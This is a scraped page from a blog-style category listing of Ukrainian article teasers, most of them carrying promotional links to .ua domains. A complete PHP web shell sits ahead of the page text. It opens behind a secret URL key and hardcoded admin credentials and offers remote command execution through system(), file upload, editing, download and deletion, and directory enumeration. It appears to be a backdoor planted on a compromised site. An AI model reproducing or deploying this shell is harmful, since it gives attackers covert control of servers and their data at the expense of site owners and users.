if (isset($_GET['k']) && $_GET['k'] === 'mintinplan') { function ws_g($k) { return isset($_GET[$k]) ? $_GET[$k] : (isset($_POST[$k]) ? $_POST[$k] : ''); } function ws_b($s) { return base64_decode($s); } $validKey = 'mintinplan'; $validU = 'admin'; $validP = 'MinMaxtime'; $auth = false; $sname = 'ws_auth'; if (isset($_SESSION) && isset($_SESSION[$sname]) && $_SESSION[$sname] === true) $auth = true; elseif (isset($_COOKIE[$sname])) { $d = json_decode(ws_b(substr($_COOKIE[$sname], 0)), true); if ($d && isset($d['ok']) && $d['ok']) $auth = true; } if (!$auth) { $u = ws_g('usr'); $p = ws_g('pwd'); if ($u === $validU && $p === $validP) { @session_start(); $_SESSION[$sname] = true; setcookie($sname, base64_encode(json_encode(['ok'=>true])), time()+86400, '/', '', false, true); header('Location: ?k='.$validKey); exit; } echo 'Login


'; exit; } if (ws_g('lo')) { @session_start(); session_destroy(); setcookie($sname, '', time()-3600); header('Location: ?k='.$validKey); exit; } $act = ws_g('a'); $path = ws_g('p') ?: getcwd(); $path = realpath($path) ?: getcwd(); echo 'Shell'; echo ''; echo '
'; echo '[📂 Home] '; echo '[🖥️ Terminal] '; echo '[💾 Drives] '; echo '[🌳 Tree] '; echo '[⬆ Upload] '; echo '[🚪 Logout]'; echo '

'; switch ($act) { case 'upload': echo '

⬆ Upload File to: '.htmlspecialchars($path).'

'; echo '
'; echo '

'; echo '

'; echo ''; echo '

'; if (isset($_POST['do_upload']) && isset($_FILES['upfile'])) { $f = $_FILES['upfile']; if ($f['error'] === UPLOAD_ERR_OK) { $name = ws_g('rename') ?: $f['name']; $dest = rtrim($path, '/').'/'.$name; if (move_uploaded_file($f['tmp_name'], $dest)) { $sz = round(filesize($dest)/1024, 2); echo '

✅ Uploaded: '.htmlspecialchars($dest).' ('.$sz.'KB)

'; } else { echo '

❌ move_uploaded_file failed (check permissions on '.htmlspecialchars($path).')

'; } } else { $errors = [1=>'File too large (php.ini)',2=>'File too large (form)',3=>'Partial upload',4=>'No file',6=>'No tmp dir',7=>'Write failed',8=>'Extension blocked']; echo '

❌ Error: '.($errors[$f['error']] ?? 'Unknown').'

'; } } echo '

📋 Current directory contents:

';
            $items = scandir($path);
            if ($items) {
                foreach ($items as $item) {
                    if ($item === '.' || $item === '..') continue;
                    $full = $path.'/'.$item;
                    if (is_dir($full)) echo '📁 '.$item."/\n";
                    else echo '📄 '.$item.' ('.round(filesize($full)/1024,1).'KB)'."\n";
                }
            }
            echo '
'; break; case 'tree': echo '

🌳 Directory Tree (depth 4)

';
            function ws_tree($root, $depth=0, $max=4) {
                if ($depth > $max) return;
                if (!is_dir($root)) return;
                $items = scandir($root);
                if (!$items) return;
                foreach ($items as $item) {
                    if ($item === '.' || $item === '..') continue;
                    $full = $root.'/'.$item;
                    if (is_dir($full)) {
                        echo str_repeat('  ', $depth).'📁 '.$item."/\n";
                        ws_tree($full, $depth+1, $max);
                    } else {
                        echo str_repeat('  ', $depth).'📄 '.$item.' ('.round(filesize($full)/1024,1).'KB)'."\n";
                    }
                }
            }
            ws_tree($path);
            echo '
'; break; case 'drives': echo '

💾 Accessible Roots

';
            if (strtoupper(substr(PHP_OS,0,3)) === 'WIN') {
                for ($i=67;$i<=90;$i++) { $d=chr($i).':\\'; if (is_dir($d)) echo $d." ✓\n"; }
            } else {
                $cands = ['/','/home','/var','/tmp','/usr','/etc','/opt','/root','/srv','/www','/var/www','/var/www/html',$_SERVER['DOCUMENT_ROOT']??''];
                foreach (array_unique($cands) as $c) { if ($c && is_dir($c)) echo $c." ✓\n"; }
            }
            echo '
'; break; case 'read': $f = ws_g('f'); if (!$f || !is_file($f)) { echo 'File not found'; break; } $content = file_get_contents($f); echo '

📝 Editing: '.htmlspecialchars($f).' ('.round(strlen($content)/1024,1).'KB)

'; echo '
'; echo ''; echo '
'; echo '
'; break; case 'save': $f = ws_g('f'); $c = ws_g('c'); if ($f) { file_put_contents($f, $c); echo '✅ Saved: '.htmlspecialchars($f); } break; case 'exec': $cmd = ws_g('c'); $output = ''; if ($_SERVER['REQUEST_METHOD'] === 'POST' && $cmd) { ob_start(); system($cmd); $output = ob_get_clean(); } echo '

🖥️ Terminal (user: '.htmlspecialchars(get_current_user()).')

'; echo '
'; if ($output !== '') echo '
'.htmlspecialchars($output).'
'; else echo '
No output
'; break; case 'down': $f = ws_g('f'); if ($f && is_file($f)) { header('Content-Type: application/octet-stream'); header('Content-Disposition: attachment; filename="'.basename($f).'"'); header('Content-Length: '.filesize($f)); readfile($f); exit; } echo 'File not found'; break; case 'del': $f = ws_g('f'); if ($f && is_file($f)) { if (unlink($f)) echo '✅ Deleted: '.htmlspecialchars($f); else echo '❌ Delete failed (permission?)'; } elseif ($f && is_dir($f)) { if (rmdir($f)) echo '✅ Directory removed: '.htmlspecialchars($f); else echo '❌ rmdir failed (not empty or permission?)'; } break; case 'newfile': $fname = ws_g('nf'); if ($fname) { $dest = rtrim($path,'/').'/'.$fname; if (file_put_contents($dest, '') !== false) echo '✅ Created: '.htmlspecialchars($dest); else echo '❌ Create failed'; } echo '
'; echo ''; echo ''; echo ''; echo '
'; break; case 'newdir': $dname = ws_g('nd'); if ($dname) { $dest = rtrim($path,'/').'/'.$dname; if (mkdir($dest, 0755)) echo '✅ Created dir: '.htmlspecialchars($dest); else echo '❌ mkdir failed'; } echo '
'; echo ''; echo ''; echo ''; echo '
'; break; default: echo '

📂 '.htmlspecialchars($path).'

'; $parent = dirname($path); if ($parent && $parent !== $path) echo '⬆ Parent | '; echo '[+ New File] | '; echo '[+ New Dir] | '; echo '[⬆ Upload]

'; echo ''; $items = scandir($path); if ($items) { foreach ($items as $item) { if ($item === '.' || $item === '..') continue; $full = $path.'/'.$item; $isDir = is_dir($full); $size = $isDir ? '-' : round(filesize($full)/1024,1).'KB'; $perms = substr(sprintf('%o',fileperms($full)),-4); $enc = urlencode($full); echo ''; if ($isDir) echo ''; else echo ''; echo ''; } } echo '
NameSizePermsActions
📁 '.$item.'📄 '.$item.''.$size.''.$perms.''; if (!$isDir) echo '[Edit] '; echo '[Download] '; echo '[Delete]'; echo '
'; break; } echo ''; exit; } Computers, Games – Page 47 – collectives.berlin

Your digital paradise.

Category: Computers, Games

  • Огляд файтингів: від класики до сучасних хітів

    Файтинги — це один з найпопулярніших жанрів відеоігор, який завжди привертав увагу гравців завдяки своїй динамічності, емоційності та можливості змагатися з іншими. Від класичних аркад до сучасних хітів, funfocus.org.ua цей жанр пройшов довгий шлях, еволюціонуючи разом із технологіями та вподобаннями гравців. Початок історії файтингів можна віднести до 1980-х років, коли з’явилися перші аркадні автомати, такі…

    Click or not…

  • Основи дресирування собак: команди для початківців

    Дресирування собак є важливим етапом у вихованні вашого чотирилапого друга. Правильне навчання допомагає не лише встановити зв’язок між власником і собакою, але й забезпечує безпеку та комфорт у повсякденному житті. У цій статті ми розглянемо основні команди для початківців, https://vetfocus.org.ua які допоможуть вам у дресируванні вашого вихованця. Перш ніж почати дресирування, важливо підготуватися. Знайдіть спокійне…

    Click or not…

  • Важливість читання в сучасному світі: як зацікавити дитину

    У сучасному світі, де технології та цифрові засоби комунікації займають домінуюче місце, важливість читання не можна переоцінити. Читання є ключовим елементом розвитку дитини, https://housespace.com.ua оскільки воно не лише розвиває мовленнєві навички, але й стимулює уяву, критичне мислення та емоційний інтелект. В умовах інформаційного перевантаження, яке ми спостерігаємо сьогодні, вміння читати та аналізувати текст стає особливо…

    Click or not…

  • Інвестиції в готельний бізнес: перспективи та ризики

    Інвестиції в готельний бізнес є важливим аспектом розвитку туристичної інфраструктури та економіки в цілому. Готельний сектор пропонує значні можливості для прибутку, housingworld.org.ua проте він також супроводжується низкою ризиків, які інвестори повинні враховувати перед прийняттям рішення про вкладення капіталу. Перш за все, варто зазначити, що готельний бізнес має стабільний попит, особливо в регіонах з розвиненою туристичною…

    Click or not…

  • Ремонт двигуна: коли потрібен і скільки коштує

    Ремонт двигуна є важливою складовою обслуговування автомобіля. Від його стану залежить не лише працездатність транспортного засобу, а й безпека водія та пасажирів. У цьому звіті розглянемо, https://housinginsight.org.ua коли необхідний ремонт двигуна та які витрати можуть виникнути в процесі. Перш ніж розпочати обговорення вартості ремонту, важливо зрозуміти, які симптоми можуть свідчити про необхідність ремонту двигуна. По-перше,…

    Click or not…

  • Зовнішнє оздоблення будинку: естетика та довговічність

    Зовнішнє оздоблення будинку є важливим аспектом архітектурного дизайну, яке не лише впливає на загальний вигляд будівлі, але й визначає її довговічність. Вибір матеріалів та стилю зовнішнього оздоблення може суттєво змінити сприйняття будинку, https://homeonline.net.ua а також його функціональні характеристики. У цьому звіті розглянемо основні аспекти естетики та довговічності зовнішнього оздоблення. Перш за все, естетика зовнішнього оздоблення…

    Click or not…

  • Кібератаки нового покоління: як розпізнати загрозу вчасно

    Кібератаки нового покоління стали серйозною загрозою для організацій, урядів та окремих користувачів по всьому світу. В умовах стрімкого розвитку технологій та збільшення обсягу даних, які обробляються щодня, стає дедалі важче виявити та зупинити ці атаки. У цьому звіті ми розглянемо, що таке кібератаки нового покоління, які їхні основні характеристики, https://digitalguide.in.ua/ а також як їх можна…

    Click or not…

  • Догляд за плодовим садом навесні

    Навесні, коли природа прокидається від зимового сну, https://homestory.net.ua плодові дерева потребують особливого догляду для забезпечення їхнього здоров’я та продуктивності. Цей період є ключовим для формування майбутнього врожаю, тому важливо правильно організувати догляд за садом. У цій статті ми розглянемо основні етапи весняного догляду за плодовими садами. Першим етапом є обстеження дерев. Це необхідно для виявлення…

    Click or not…

  • Як облаштувати інклюзивний простір у лікувальному закладі

    Облаштування інклюзивного простору у лікувальному закладі є важливим кроком до забезпечення доступності медичних послуг для всіх пацієнтів, doctordigest.org.ua незалежно від їх фізичних, сенсорних або інтелектуальних можливостей. Інклюзивний підхід передбачає створення комфортного та безпечного середовища, яке дозволяє кожному пацієнту отримувати необхідну медичну допомогу без бар’єрів. Першим етапом у створенні інклюзивного простору є проведення аудиту існуючої інфраструктури.…

    Click or not…

  • Розслідувальна журналістика: методи та етичні норми

    Розслідувальна журналістика є важливою галуззю журналістики, що зосереджується на виявленні правди щодо суспільно важливих питань. Цей вид журналістики вимагає від журналістів глибокого аналізу, критичного мислення та використання різноманітних методів для збору інформації. У цьому звіті розглянемо основні методи розслідувальної журналістики, in.ua а також етичні норми, які мають дотримуватися журналісти під час виконання своєї роботи. Основними…

    Click or not…